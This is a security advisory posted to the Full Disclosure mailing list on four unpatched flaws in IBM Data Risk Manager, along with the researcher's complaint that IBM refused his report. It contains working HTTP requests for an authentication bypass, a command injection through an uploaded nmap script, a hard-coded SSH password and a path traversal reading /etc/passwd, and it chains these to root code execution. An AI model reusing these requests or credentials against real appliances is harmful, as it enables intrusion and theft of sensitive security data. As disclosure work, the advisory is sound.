I recently attempted to disclose some vulns to IBM via CERT/CC. They refused to 
accept the report, saying they only accept reports from paying customers... 
haha what a **** show!

The markdown advisory is attached below - sorry, I usually send text ones, but 
have to move on to the current trends, plus it looks much better on GitHub:

Metasploit modules have been released and are available here:


# Multiple Vulnerabilities in IBM Data Risk Manager

### By Pedro Ribeiro (ped...@gmail.com) from [Agile Information 

#### Disclosure Date: 21/04/2020 | Last Updated: 21/04/2020  
## Introduction
[From the vendor's website](https://www.ibm.com/products/data-risk-manager):  
*What you don’t know can hurt you. Identify and help prevent risks to sensitive 
business data that may impact business processes, operations, and competitive 
position. IBM Data Risk Manager provides executives and their teams a 
business-consumable data risk control center that helps to uncover, analyze, 
and visualize data-related business risks so they can take action to protect 
their business.*

## Summary
**tl;dr scroll to the bottom to see videos of the exploits in action**

IBM Data Risk Manager (IDRM) is an enterprise security software by IBM that 
aggregates and provides a full view of all the enterprise security risks, akin 
to an electronic risk register.  
The product receives information feeds from vulnerability scanning tools and 
other risk management tools, aggregates them and allows a user to investigate 
them and perform comprehensive analysis.

The IDRM Linux virtual appliance was analysed and it was found to contain four 
vulnerabilities, three critical risk and one high risk:  

* Authentication Bypass  
* Command Injection
* Insecure Default Password
* Arbitrary File Download 
This advisory describes the four vulnerabilities and the steps necessary to 
chain the first three to achieve unauthenticated remote code execution as root. 
In addition, two Metasploit modules that bypass authentication and exploit the 
[remote code 
execution](https://github.com/rapid7/metasploit-framework/pull/13300) and 
[arbitrary file 
download](https://github.com/rapid7/metasploit-framework/pull/13301) are being 
released to the public.

At the time of disclosure, it is unclear if the latest version 2.0.6 is 
affected by these, but most likely it is, as there is no mention of fixed 
vulnerabilities in any changelog, and it was released before the *attempt* to 
report these vulnerabilities to IBM. The latest version Agile InfoSec has 
access to is 2.0.3, and that one is certainly vulnerable.  
### Here's a bunch of 0 days!

At the time of disclosure these vulnerabilities are **"0 days"**. An attempt 
was made to contact [CERT/CC](https://www.kb.cert.org/vuls/) to coordinate 
disclosure with IBM, but IBM **REFUSED** to accept the vulnerability report, 
and responded to CERT/CC with:  

***we have assessed this report and closed as being out of scope for our 
vulnerability disclosure program since this product is only for "enhanced" 
support paid for by our customers**. This is outlined in our policy 
https://hackerone.com/ibm. To be eligible to participate in this program, you 
must not be under contract to perform security testing for IBM Corporation, or 
an IBM subsidiary, or IBM client within 6 months prior to submitting a report.*

This is an unbelievable response by IBM, a multi billion dollar company that is 
**selling security enterprise products and security consultancy** to huge 
corporations worldwide. They refused to accept a free high quality 
vulnerability report on one of their products, while putting ludicrous quotes 
like the following [on their website](https://www.ibm.com/security):

*When every second counts, you need a unified defense to identify, orchestrate 
and automate your response to threats. IBM Security Threat Management solutions 
help you thrive in the face of cyber uncertainty.*

*Building a custom security plan that is both industry-specific and aligned to 
your security maturity demands a partner with deep expertise and global reach. 
The IBM Security Strategy and Risk services team is that valued partner.*

It should be noted that IBM offers no bounties on their "bug bounty program", 
just kudos:


In any case, I did not ask or expect a bounty since I do not have a HackerOne 
account and I don't agree with HackerOne's or IBM's disclosure terms there. 
I simply wanted to disclose these to IBM responsibly and let them fix it.

### So many questions...
IDRM is an enterprise security product that handles very sensitive information. 
The hacking of an IDRM appliance might lead to a full scale company compromise, 
as it stores credentials to access other security tools, not to mention it 
contains information about critical vulnerabilities that affect the company.

* Why did IBM refuse to accept a **FREE** detailed vulnerability report?
* What does their answer mean? Are the only accepting vulnerability reports 
from customers?
* Or is the product out of support? If so, why is still being offered for sale 
to new customers?
* How can they be so irreponsible while selling an enterprise security product?

Anyway, with this out of the way let's get technical...

## Vulnerability Details

### #1: Authentication Bypass
* [CWE-287: Improper 
* CVE-TODO (not assigned yet)
* Risk Classification: Critical
* Attack Vector: Remote
* Constraints: None / N/A
* Affected Products / Versions:
  * IBM Data Risk Manager 2.0.1 to 2.0.3 confirmed to be vulnerable
  * IBM Data Risk Manager 2.0.4 to 2.0.6 likely to be vulnerable

#### Details:
IDRM has an API endpoint at */albatross/saml/idpSelection* that associates an 
ID provided by the attacker with a valid user on the system. The method that 
handles this endpoint is shown below:

        public String idpSelection(HttpServletRequest httpRequest, 
HttpServletResponse httpResponse, Model model, @RequestParam(value="id", 
required=false) String sessionId, @RequestParam(value="userName", 
required=false) String userName, RedirectAttributes rattrs) {
                List allUrls = 
                if (allUrls == null || allUrls.size() == 0) {
                        rattrs.addAttribute("message", (Object)"Microservice 
instance is not running or more than one instance is running, please start the 
microservice and try again");
                        return "redirect:/error";
                if (allUrls.size() == 1) {
                        A3AllUrls aUrl = (A3AllUrls)allUrls.get(0);
                        String url = aUrl.getUrl();
                        if (userName == null || userName.equals("")) {
                                rattrs.addAttribute("message", (Object)"Enter 
the user name, please try again");
                                return "redirect:/error";
                        if (sessionId == null || sessionId.equals("")) {
                                rattrs.addAttribute("message", (Object)"Session 
ID is not present, please try again");
                                return "redirect:/error";
                        A3User user = 
                        if (user == null) {
                                rattrs.addAttribute("message", (Object)("User " 
+ userName + " account not present in IDRM, please create the account and try 
                                return "redirect:/error";
                        String page = null;
                        page = url.endsWith("/") ? "redirect:" + url + 
"saml/idpSelection" : "redirect:" + url + "/saml/idpSelection";
                        return page;
                return "redirect:/error";


As it can be seen in the code above, this method accepts an arbitrary 
*sessionId* and *username* parameters from the HTTP request, and if *username* 
exists on the application's user database, it then associates that *sessionId* 
to the *username*.  
This can be achieved by an unauthenticated attacker with the following request:
GET /albatross/saml/idpSelection?id=SOMETHING&userName=admin

The server will respond with a 302 redirect to 
https://localhost:8765/saml/idpSelection, but that doesn't really matter. This 
action might not make sense now, but read on.

The API endpoint */albatross/user/login* is handled by the following method 
(only the relevant snippets are shown):
   @RequestMapping(value={"/user/login"}, method={RequestMethod.POST}, 
    public A3StatusBean userLogin(HttpServletRequest httpRequest, 
@RequestParam(value="username", required=true) String username, 
@RequestParam(value="deviceid") String deviceId, 
@RequestParam(value="password", required=false) String password, 
@RequestParam(value="sessionId", required=false) String sessionId, 
@RequestParam(value="clientDetails", required=true) String clientDetails) {
                A3User user = 
                if (user != null) {
                    if (sessionId != null) {
                        if (sessionId.equals(user.getSessionId())) {
                            LOGGER.log(A3Constants.A3LOG, "Session is matching, 
so user is valid");
                            if (this.userMap.get(user.getUserId()) == null) {
                                String randomPwd = UUID.randomUUID().toString();
                                this.userMap.put(user.getUserId(), randomPwd);
                            } else {
                                String tPassword = 
                            return response;

The method listed above takes the *username* and *sessionId* parameters, and 
checks if *username* exists in the database and *sessionId* is associated with 
that *username*. If it is, the application returns a newly generated random 
password for that username.  
In the previous request, the "*admin"* user was associated with the *sessionId 
"SOMETHING"*. So now if we perform the following request:
POST /albatross/user/login HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Content-Type: multipart/form-data; boundary=_Part_224_2171658712_4042463386
Content-Length: 509
Connection: close

Content-Disposition: form-data; name="deviceid"

Content-Disposition: form-data; name="password"

< ... any string can be sent here ... >
Content-Disposition: form-data; name="username"

Content-Disposition: form-data; name="clientDetails"

Content-Disposition: form-data; name="sessionId"



The server will respond with:

... which is now a valid password for the *"admin"* user, as the previous 
snippet of code shows.

So now let's try and authenticate using that as a password:
POST /albatross/user/login HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Content-Type: multipart/form-data; boundary=_Part_122_4062871012_3985537084
Content-Length: 435
Connection: close

Content-Disposition: form-data; name="deviceid"

Content-Disposition: form-data; name="password"

Content-Disposition: form-data; name="username"

Content-Disposition: form-data; name="clientDetails"


To which the server responds with:

Success! We now have a valid Bearer administrative token that can be used to 
access various API. It's also possible to login as a normal web user on the 
*/albatross/login* endpoint, which will yield an authenticated cookie instead 
of a token, allowing access to the web administration console. In any case, as 
this shows, authentication is now completely bypassed and we have full 
administrative access to IDRM.

It should be noted that this is a destructive action - the previous admin 
password will be invalid, and only the new password which is generated above 
can be used to login as an admin. So this works a bit like a *"password 
reset"*, even though it is not named as such.

### #2: Command Injection
* [CWE-77: Command Injection](https://cwe.mitre.org/data/definitions/77.html)
* CVE-TODO (not assigned yet)
* Risk Classification: Critical
* Attack Vector: Remote
* Constraints: Authentication Required
* Affected Products / Versions:
  * IBM Data Risk Manager 2.0.1 to 2.0.3 confirmed to be vulnerable
  * IBM Data Risk Manager 2.0.4 to 2.0.6 likely to be vulnerable

#### Details:
IDRM exposes an API at */albatross/restAPI/v2/nmap/run/scan* that allows an 
authenticated user to perform nmap scans. The call stack and relevant code is 
pasted below:

        @RequestMapping(value={"/run/nmap/scan"}, method={RequestMethod.POST})
        public A3StatusBean runNmapScan(HttpServletRequest httpRequest, 
@RequestParam(value="transaction", required=false) String transactionData, 
@RequestParam(value="accessToken") String accessToken, 
@RequestParam(value="userId", required=false) String userName) {
          runNmapScan invokes A3CustomScriptScanTask.run() 

                A3CustomScriptScanTask.run() invokes 
                        public static A3ExtAppNmapHostDTO 
runNmapOnIpAddress(String nmapPath, String nmapOptions, String ipAddress, 
String portRange) throws IOException, InterruptedException {
                                String[] nmapOpts;
                                A3ExtAppNmapHostDTO nmapHost = null;
"Running nmap Scan");
                                ArrayList<String> command = new 
                                for (String nmapOpt : nmapOpts = 
nmapOptions.split(" ")) {
                                Process process = null;
                                if (portRange != null && !portRange.equals("")) 
                                        process = 
Runtime.getRuntime().exec(command.toArray(new String[command.size()]));
                                } else {
                                        process = 
Runtime.getRuntime().exec(command.toArray(new String[command.size()]));
As listed in [GTFObins](https://gtfobins.github.io/gtfobins/nmap), having 
access to nmap allows running arbitrary commands if we can upload a script file 
and then pass that as an argument to nmap with *"--script=<FILE\>"*. Looking at 
the code above, *ipAddress* looks like a good candidate for this.

However, to achieve code execution in this way we still need to upload a file. 
Luckily, there is a method that processes patch files and accepts arbitrary 
file data, saving it to *"/home/a3user/agile3/patches/<FILE\>"*. The method is 
too long and verbose to paste here, but it is supposed to accept a patch file, 
process it and apply it.
There are several bugs in version 2.0.2 that cause the method to abort early 
and fail to process the file. Still, the file is uploaded and kept on disk even 
after the method aborts.

In order to upload a file, we simply need to send the following request:
POST /albatross/upload/patch HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Cookie: JSESSIONID=D68124D3EFD66417B4C6B0950E1891C0;
CSRF-TOKEN: 4f88a837-5f12-4d15-a0d5-57b24de17176
Content-Type: multipart/form-data; boundary=_Part_387_3982485447_258275719
Content-Length: 330
Connection: close

Content-Disposition: form-data; name="patchFiles"; filename="owned.enc"
Content-Type: application/octet-stream
Content-Transfer-Encoding: binary

os.execute("/usr/bin/whoami > /tmp/testing")
The server will respond with a 200 OK but will include a JSON message saying an 
error has occured. This is irrelevant, as the file was still uploaded to disk.  
Finally we inject our parameters and run nmap with the following request:
POST /albatross/restAPI/v2/nmap/run/scan/18 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Authorization: Bearer 3b5b0fa6-2d46-4104-ba38-54a077d05a93
Content-Type: multipart/form-data; boundary=_Part_841_3176682485_2250831758
Content-Length: 440
Connection: close

Content-Disposition: form-data; name="clientDetails"

Content-Disposition: form-data; name="type"

Content-Disposition: form-data; name="portRange"

Content-Disposition: form-data; name="ipAddress"

This will execute *"nmap --script=/home/a3user/agile3/patches/owned.enc"* and 
run our command:
[a3user@idrm-server ~]$ cat /home/a3user/agile3/patches/owned.enc
os.execute("/usr/bin/whoami > /tmp/testing")
[a3user@idrm-server ~]$ cat /tmp/testing
Note that all of these requests require an authenticated session as an 
administrator - but as shown in #1, this can be easily bypassed. The actual 
flow to achieve full unauthenticated remote code execution is a bit more 
convoluted, as we need to authenticate to both the web interface and the API, 
but the basic workings have been described above.

### #3: Insecure Default Password
* [CWE-798: Use of Hard-coded 
* CVE-TODO (not assigned yet)
* Risk Classification: Critical
* Attack Vector: Remote
* Constraints: None / N/A
* Affected Products / Versions:
  * IBM Data Risk Manager 2.0.1 to 2.0.3 confirmed to be vulnerable
  * IBM Data Risk Manager 2.0.4 to 2.0.6 likely to be vulnerable

#### Details:
The administrative user in the IDRM virtual appliance is *"a3user"*. This user 
is allowed to login via SSH and run sudo commands, and it is set up with a 
default password of *"idrm"*.  

When combined with vulnerabilities #1 and #2, this allows an unauthenticated 
attacker to achieve remote code execution as root on the IDRM virtual 
appliance, leading to complete system compromise.  

While IDRM forces the administrative user of the web interface (*"admin"*) to 
change its password upon first login, it does not require the same of 

### #4: Arbitrary File Download
* [CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path 
* CVE-TODO (not assigned yet)
* Risk Classification: High
* Attack Vector: Remote
* Constraints: Authentication Required
* Affected Products / Versions:
  * IBM Data Risk Manager 2.0.2 and 2.0.3 confirmed to be vulnerable
  * IBM Data Risk Manager 2.0.4 to 2.0.6 likely to be vulnerable

#### Details:

IDRM exposes an API at */albatross/eurekaservice/fetchLogFiles* that allows an 
authenticated user to download log files from the system. However, the 
*logFileNameList* parameter contains a basic directory traversal flaw that 
allows an attacker to download any file off the system.  
The code path is convoluted, and won't be shown here for brevity, but 
exploitation (and finding this flaw) is very simple:

POST /albatross/eurekaservice/fetchLogFiles HTTP/1.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
CSRF-TOKEN: 93e0dbe1-88e5-450e-ab2c-7c614b709876
Content-Length: 93
Connection: close


HTTP/1.1 200 
Strict-Transport-Security: max-age=31536000 ; includeSubDomains
X-Frame-Options: DENY
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Cache-Control: no-cache, no-store, must-revalidate
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Disposition: attachment; filename=ms_logs_admin.zip
Accept-Ranges: bytes
X-Content-Type-Options: nosniff
Content-Type: application/zip
Content-Length: 550
Date: Wed, 17 Oct 2018 11:46:45 GMT
Connection: close

<ZIP file containing /etc/passwd>
When combined with #1, this allows an unauthenticted attacker to download any 
file readable by *"a3user"* off the system.
It should be noted that version 2.0.1 is not vulnerable, but versions higher 
than 2.0.1 are. Attempting to download an arbitrary file using this method will 
result in a HTTP 500 error with a *"File security exception"* message.

## Exploitation Summary
By combining vulnerabilities #1, #2 and #3, an unauthenticated user can achieve 
remote code execution as root. [A Metasploit module implementing this RCE chain 
was released](https://github.com/rapid7/metasploit-framework/pull/13300) and 
the asciinema clip below shows it in action:  

If vulnerabilities #1 and #4 are combined, it's possible for an unauthenticated 
attacker to download arbitrary files off the system. [A second Metasploit 
module implementing this file download chain was 
released](https://github.com/rapid7/metasploit-framework/pull/13301), and the 
asciinema clip below shows it in action:  

## Fix / Solutions:
IBM refused to acknowledge this vulnerability report, so most likely won't fix 
this vulnerability. Make sure you uninstall the product so it does not endanger 
your network / company.

## Disclaimer
Please note that Agile Information Security (Agile InfoSec) relies on 
information provided by the vendor when listing fixed versions or products. 
Agile InfoSec does not verify this information, except when specifically 
mentioned in this advisory or when requested or contracted by the vendor to do 
Unconfirmed vendor fixes might be ineffective or incomplete, and it is the 
vendor's responsibility to ensure the vulnerabilities found by Agile 
Information Security are resolved properly.  
Agile Information Security Limited does not accept any responsibility, 
financial or otherwise, from any material losses, loss of life or reputational 
loss as a result of misuse of the information or code contained or mentioned in 
this advisory. It is the vendor's responsibility to ensure their products' 
security before, during and after release to market.

## License
All information, code and binary data in this advisory is released to the 
public under the [GNU General Public License, version 3 
For information, code or binary data obtained from other sources that has a 
license which is incompatible with GPLv3, the original license prevails.

Pedro Ribeiro
Vulnerability and Reverse Engineer / Cyber Security Specialist

PGP: 4CE8 5A3D 133D 78BB BC03 671C 3C39 4966 870E 966C

Sent through the Full Disclosure mailing list
Web Archives & RSS: http://seclists.org/fulldisclosure/

Reply via email to